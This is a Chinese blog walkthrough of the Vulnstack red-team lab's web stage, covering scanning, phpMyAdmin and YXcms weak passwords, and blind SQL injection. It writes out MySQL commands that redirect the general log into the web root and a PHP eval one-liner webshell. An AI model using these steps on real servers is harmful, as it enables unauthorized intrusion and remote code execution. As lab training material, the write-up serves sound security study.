ATK&CK1红队评估实战靶场Vulnstack之第二篇web漏洞

刺骨的言语ヽ痛彻心扉 2022-08-31 00:45 2阅读 0赞

### 文章目录 ###

*   *  0x01 信息收集
     *   *  主机探测
         *  端口扫描
         *  目录浏览
     *  0x02 漏洞利用
     *   *  方式一phpmyadmin弱口令+全局日志getshhell
         *   *  第一步 扫描目录
             *  第二步 使用弱口令登录
             *  第三步 查询全局日志变量配置
             *  第四步开启全局日志并修改日志保存位置
             *  第五步 查询一句话写入日志
             *  第六步 连接
         *  方式二yxcms任意文件读写,getshell
         *   *  第一步目录扫描发现yxcm和备份文件
             *  第二步发现存在信息泄露，泄露口令为弱口令
             *  第三步 使用弱口令登录
             *  第四步直接在前台模板创建新的模板，内容为一句话木马
             *  第五步 根据之前下载的备份文件内容，查找出文件路径
             *  第六步 使用连接一句话木马文件，获得shell
         *  方法三 SQL注入 获取口令
         *   *  在碎片删除时进行抓包，正常删除存在的碎片Id的回应包的返回的结果
             *  删除不存在的碎片ID的回应包无返回结果，可能存在SQL盲注，碎片ID作为参数传入后台进行数据库查询删除。
             *  进行sql注入
             *  获取数据库名称
             *  获取表名称
             *  获取字段
     *  摘抄

## 0x01 信息收集 ##

### 主机探测 ###

netdiscover -i eth0 -r 192.168.23.0/24
    arp-scan -l
    nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.23.0/24

![在这里插入图片描述][fd115f10b8847e01761131750439683b.png]  
![在这里插入图片描述][bb70de045f3e6ff3fabf3987961f7e2a.png]

### 端口扫描 ###

nmap -sC -v -n -sV -Pn -p 1-65535 192.168.23.133
    nmap -T4 -A 192.168.23.133 -p 1-65535 -oN nmap.A
    http://192.168.23.133/

![在这里插入图片描述][58b9f08a3b9b60cdbe8032de61799a89.png]

### 目录浏览 ###

dirb http://192.168.23.133/  -o 133.txt
    http://192.168.23.133/phpmyadmin/
    http://192.168.23.133/beifen.rar
    http://192.168.23.133//l.php

![在这里插入图片描述][f66c19540e08215cc6ae09988c59c85e.png]  
![在这里插入图片描述][884ca20eba5b7c9b46c44a9bd191baf5.png]

## 0x02 漏洞利用 ##

### 方式一phpmyadmin弱口令+全局日志getshhell ###

#### 第一步 扫描目录 ####

![在这里插入图片描述][3ccefbba58d9740e7dd7fc9ba4c2d059.png]

#### 第二步 使用弱口令登录 ####

![在这里插入图片描述][1538b1c644606f00d8427bebe24a6185.png]

#### 第三步 查询全局日志变量配置 ####

show variables like '%general%';

![在这里插入图片描述][ac088fdaf8660b5e0696070c526a4204.png]

#### 第四步开启全局日志并修改日志保存位置 ####

set global general_log=on;
    set global general_log_file='C:/phpStudy/WWW/0720.php';

![在这里插入图片描述][57704ac8c4af3486f09d59192977a225.png]  
![在这里插入图片描述][79c81ed051d1200cd7a4e13426944cd4.png]

![在这里插入图片描述][feeadcc5ab5e2389aa271c7be8f26c17.png]

#### 第五步 查询一句话写入日志 ####

select "<?php eval($_POST['0720']);?>"

![在这里插入图片描述][c35edb725853990accb7628ba0b80aea.png]

#### 第六步 连接 ####

![在这里插入图片描述][2c2826e9d5713ee88d5abfa77404a4af.png]

### 方式二yxcms任意文件读写,getshell ###

> yxcms后台，直接在前台模板创建新的模板，内容为一句话木马

#### 第一步目录扫描发现yxcm和备份文件 ####

192.168.23.135/beifen.rar

![在这里插入图片描述][715eb66a8799dc93ce356aa687cd69c6.png]  
![在这里插入图片描述][f42de3bd8419be99c4a1e386a215692c.png]  
![在这里插入图片描述][c57bc1c80cfa64d1c9262e638540e845.png]

#### 第二步发现存在信息泄露，泄露口令为弱口令 ####

http://192.168.23.135/yxcms/

![在这里插入图片描述][282d656f1a0870d9aa1c8362e9fa3869.png]

本站为YXcms的默认演示模板，YXcms是一款基于PHP+MYSQL构建的高效网站管理系统。 
    后台地址请在网址后面加上/index.php?r=admin进入。 
    后台的用户名:admin;密码:123456，请进入后修改默认密码。

#### 第三步 使用弱口令登录 ####

![在这里插入图片描述][292ebc7492318e585815f41275f95463.png]

#### 第四步直接在前台模板创建新的模板，内容为一句话木马 ####

![在这里插入图片描述][bc4baf33584b4f220bb8f3debd364ae9.png]  
![在这里插入图片描述][afeea2b9277b45874f4097b30414a9a3.png]  
![在这里插入图片描述][5dcbd3acca6fd422ee4bad92bac30ea1.png]

#### 第五步 根据之前下载的备份文件内容，查找出文件路径 ####

http://192.168.1.102/yxcms/protected/apps/default/view/default/07201.php

![在这里插入图片描述][0e9e6e3dd06b00d2e67cf2c44d8a83b1.png]

#### 第六步 使用连接一句话木马文件，获得shell ####

![在这里插入图片描述][a72a9312d0466df0ace11f7294741889.png]

### 方法三 SQL注入 获取口令 ###

#### 在碎片删除时进行抓包，正常删除存在的碎片Id的回应包的返回的结果 ####

![在这里插入图片描述][6ad837f6a71ce3bc128a4b6cac6d7c54.png]

#### 删除不存在的碎片ID的回应包无返回结果，可能存在SQL盲注，碎片ID作为参数传入后台进行数据库查询删除。 ####

![在这里插入图片描述][21044f1a400dd7aa824535c738ad5b2a.png]  
![在这里插入图片描述][5c821949c55034202c2b1995cfeaf62a.png]

#### 进行sql注入 ####

![在这里插入图片描述][0d8859271c3d40e63d6545829f14b519.png]

#### 获取数据库名称 ####

![在这里插入图片描述][55d7d67fe0061e29c052d7b19f987a9d.png]

#### 获取表名称 ####

![在这里插入图片描述][88f6b03c8bb0a44886450ef648648021.png]

#### 获取字段 ####

![在这里插入图片描述][22a6738bc5cf97bce2c685fe1103061d.png]

## 摘抄 ##

--------------------

那些放不下的人、  
忘不掉的事、  
过不去的坎，  
原来到了最后，  
岁月都会替你轻描淡写。

--------------------

[fd115f10b8847e01761131750439683b.png]: /images/20220829/4a8bd8225f6143f3b82ebb262cf1c71d.png
[bb70de045f3e6ff3fabf3987961f7e2a.png]: /images/20220829/0c1afe436a0b4e1bb0007f74f00c1f28.png
[58b9f08a3b9b60cdbe8032de61799a89.png]: /images/20220829/7555da03d1e542b7874970283e591575.png
[f66c19540e08215cc6ae09988c59c85e.png]: /images/20220829/19208ce5743c4bb3887f98f74816936d.png
[884ca20eba5b7c9b46c44a9bd191baf5.png]: /images/20220829/8e9a364aceff4e5db198e5143f729c75.png
[3ccefbba58d9740e7dd7fc9ba4c2d059.png]: /images/20220829/6345171c9cd3495ebb6ee9fca9bc8eff.png
[1538b1c644606f00d8427bebe24a6185.png]: /images/20220829/6660246b56c24473829e5d74d4d763bc.png
[ac088fdaf8660b5e0696070c526a4204.png]: /images/20220829/cee4c9997f8a406faecd36dfc4a3baac.png
[57704ac8c4af3486f09d59192977a225.png]: /images/20220829/0d90447e7ccd47f8afb64275959de294.png
[79c81ed051d1200cd7a4e13426944cd4.png]: /images/20220829/b55fbea6890a4bc2ad0edcf9128dc005.png
[feeadcc5ab5e2389aa271c7be8f26c17.png]: /images/20220829/9f1ebf4ee60a4fc690604b4ccfe02298.png
[c35edb725853990accb7628ba0b80aea.png]: /images/20220829/d0d81ebda53c4935a1e8adbf44b10f5c.png
[2c2826e9d5713ee88d5abfa77404a4af.png]: /images/20220829/8d26daf46316423aad6033c3c866a03b.png
[715eb66a8799dc93ce356aa687cd69c6.png]: /images/20220829/5c70af571c3f43e7b5dfa2d3cbc3fd50.png
[f42de3bd8419be99c4a1e386a215692c.png]: /images/20220829/724746bf26334bddb698f66cf9b215a5.png
[c57bc1c80cfa64d1c9262e638540e845.png]: /images/20220829/8ccc602b342f429d871a98888363db31.png
[282d656f1a0870d9aa1c8362e9fa3869.png]: /images/20220829/9c02a975222a47d6b56ec86d4bf17b08.png
[292ebc7492318e585815f41275f95463.png]: /images/20220829/a2de1d29eef841dbba097aa1e8dcccfb.png
[bc4baf33584b4f220bb8f3debd364ae9.png]: /images/20220829/edffd5688f9047449ad9a7fac8c8020a.png
[afeea2b9277b45874f4097b30414a9a3.png]: /images/20220829/105975270137400081de99a0b39d9f07.png
[5dcbd3acca6fd422ee4bad92bac30ea1.png]: /images/20220829/c166757cdb6b455a8971c163ee6b4db3.png
[0e9e6e3dd06b00d2e67cf2c44d8a83b1.png]: /images/20220829/e905a005c2b542049813dcf8f7106be4.png
[a72a9312d0466df0ace11f7294741889.png]: /images/20220829/3cc80c79eb2648c28ef06363bed402a3.png
[6ad837f6a71ce3bc128a4b6cac6d7c54.png]: /images/20220829/3d353f1048cf4ba0815d5da222c2d33c.png
[21044f1a400dd7aa824535c738ad5b2a.png]: /images/20220829/06057fb5e3344db1b49e0406a1194102.png
[5c821949c55034202c2b1995cfeaf62a.png]: /images/20220829/776ce4f4d48b4b88b06f076852bd9e84.png
[0d8859271c3d40e63d6545829f14b519.png]: /images/20220829/d106725501a144c5a5a2fa5c371b18d3.png
[55d7d67fe0061e29c052d7b19f987a9d.png]: /images/20220829/20a56d6cb2c842b29f0565e3a2df1ea2.png
[88f6b03c8bb0a44886450ef648648021.png]: /images/20220829/7ba49b2303ba4247ba73448dff154311.png
[22a6738bc5cf97bce2c685fe1103061d.png]: /images/20220829/68b5b9c905f44f64a48e2bfa362c793e.png